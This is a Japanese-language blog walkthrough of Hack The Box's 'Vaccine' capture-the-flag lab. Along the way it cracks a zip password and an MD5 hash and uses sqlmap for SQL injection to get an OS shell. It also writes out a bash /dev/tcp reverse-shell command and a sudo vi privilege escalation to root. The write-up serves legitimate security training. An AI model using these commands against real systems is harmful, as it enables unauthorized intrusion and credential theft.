【Hack The Box】Vaccine – Walkthrough –

2024年04月22日
 
2024年04月22日

こんにちは。ゆーろんです。

今回は Hack The Boxにて提供されいる Starting Pointsの「Vaccine」に関する攻略方法を記載していきたいと思います。

初めてのWriteUpの記述となるので温かい目でご覧ください。

テクニック

テクニック 説明
ネットワークサービススキャン NMAPによるポートスキャン
ZIPパスワードの解析 zip2johnとjohntheripperによるパスワード解析
SQL/コマンドインジェクション SQLMapによるSQL/コマンドインジェクション
リバースシェルの確立 nc/bashコマンドによるリバースシェルの確立

手順

スキャニング/列挙

Nmapによりポートスキャン

Nmapによりポートスキャンを行います。

sudo nmap -sC -sV 10.10.14.53 --open -p- -T3

上記コマンドにより仮想しているサービスは以下のように判明しました。

ポート番号 サービス 詳細
21/tcp ftp vsftpd 3.0.3
22/tcp ssh OpenSSH 8.0p1 Ubuntu 6ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp http Apache httpd 2.4.41 ((Ubuntu))

FTP接続

ftpがanonymousログインできることがNMAPのスキャンで判明します。
ftpにanonymousログインを行います。

ftp 10.10.14.53

ログイン後、ls -alコマンドでbackup.zipが見つかるのでgetコマンドでダウンロードします。

get backup.zip

John The Ripperによるパスワード解析

入手したzipをunzipコマンドで解凍しようとするとパスワードを求められます。
そこでJohn the ripperを使い、パスワードクラックを行います。

# zipファイルのパスワードハッシュの作成
zip2john backup.zip > hast.txt
# rockyou.txtを用いてパスワード総当たり
john --wordlist=/usr/share/wordlist/rockyou.txt hash.txt

するとパスワードが741852963と判明します。
このパスワードで解凍を行います。

Md5の解析

するとindex.phpstyle.cssを入手できます。
index.phpはターゲットに80ポートでアクセスした際の認証画面のコードだと推測できます。
このファイルのページ上部を見ると以下のように書かれています。

<?php
session_start();
  if(isset($_POST["username"]) && isset($_POST["password"])) {
    if($_POST["username"] === "admin" && md5($_POST["password"]) === "2cb42f8734ea607eefed3b70af13bbd3") {
      $_SESSION["login"] = "true";
      header("Location: dashboard.php");
    }
  }
?>

md5でハッシュ化したパスワードが2cb42f8734ea607eefed3b70af13bbd3のものと一致すると認証突破できそうです。
そこでcrackstationを利用して既存のレインボーテーブルを調べるとハッシュ化前のパスワードがqwerty789であると判明します。

侵入

ブラウザでターゲットにアクセスして、adminqwerty789でアクセスするとカタログページが表示されます。
このページはDBを利用していることがわかるので、検索欄のクエリにエラーになるように'を追加して反応を調べます。

SQLMAPを使用してアクセスできそうです。
SQLインジェクションとOSコマンドインジェクションができるかSQLmapで試してみます。
認証ページアクセスのためCookieはブラウザのF12(開発者ツール)のストレージから入手します。

sqlmap -u "http://10.10.14.53/dashboard.php?search=aaa'" --cookie="PHPSESSID=r45ajjsna9sja8js8ak2Sh" --os-shell

無事にシェルにアクセスできました。

シェルにアクセスできたら、定番のリバースシェルを確立させます。
攻撃機のターミナルでnc -lnvp 4444で待ち受けを開始したら、sqlmapシェルの方で以下のように入力します。

bash -c "bash -i >& /dev/tcp/<攻撃機のIPアドレス>/4444 0>&1"

すると攻撃機でシェルを入手できます。
なお、安定化は定番のpython3 -c "import pty;pty.spawn("/bin/bash")"で行えます。

シェル入手後、ls -alコマンドでユーザフラグ(user.txt)を入手できます。

権限昇格

シェル入手後にdashboard.phpにアクセスできるので、catやtailコマンドなどで閲覧し
DBへアクセスするためのユーザ名とパスワードである、postgresP@s50rd!を入手できます。

sshコマンドでターゲットにアクセスします。

ssh postgres@10.10.14.53

アクセスできたらsudo -lで利用可能なコマンドと権限の確認します。
すると/bin/vi /etc/postgresql/11/main/pg_hda.confが利用できるとあります。
つまりこのファイルから/bin/viコマンドを利用して権限昇格できる可能性が高いです。

sudo /bin/vi /etc/postgresql/11/main/pg_hda.conf

入力後、:shellと対話モードで入力するとrootの権限昇格ができました。
後はroot.txtを見つけるだけでrootフラグの入手は完了です。

よろしければシェアしてくださいね!
タグ: CTFHackTheBox

関連記事